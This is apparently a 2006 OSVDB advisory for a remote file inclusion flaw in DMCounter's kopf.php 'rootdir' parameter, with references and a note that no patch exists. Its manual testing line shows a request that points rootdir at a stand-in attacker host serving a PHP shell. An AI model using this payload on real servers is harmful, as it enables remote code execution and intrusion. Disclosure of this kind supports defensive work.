DMCounter kopf.php rootdir Variable Remote File Inclusion

2006-05-01T06:32:38
ID OSVDB:25152
Type osvdb
Reporter beford(xbefordx@gmail.com)
Modified 2006-05-01T06:32:38

Description

Vulnerability Description

DMCounter contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to kopf.php not properly sanitizing user input supplied to the 'rootdir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

DMCounter contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to kopf.php not properly sanitizing user input supplied to the 'rootdir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/dmcounter/kopf.php?rootdir=http://[attacker]/phpshell.txt?

References:

Vendor URL: http://sourceforge.net/projects/dmcounter Security Tracker: 1016014 Secunia Advisory ID:19918 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0181.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0001.html FrSIRT Advisory: ADV-2006-1599 CVE-2006-2144 Bugtraq ID: 17756